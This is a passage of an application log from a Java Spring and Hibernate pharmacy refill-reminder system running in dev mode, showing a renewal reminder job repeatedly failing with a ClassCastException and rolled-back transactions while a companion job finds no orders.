org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:45:00 INFO NextRefillReminderJob:58 - 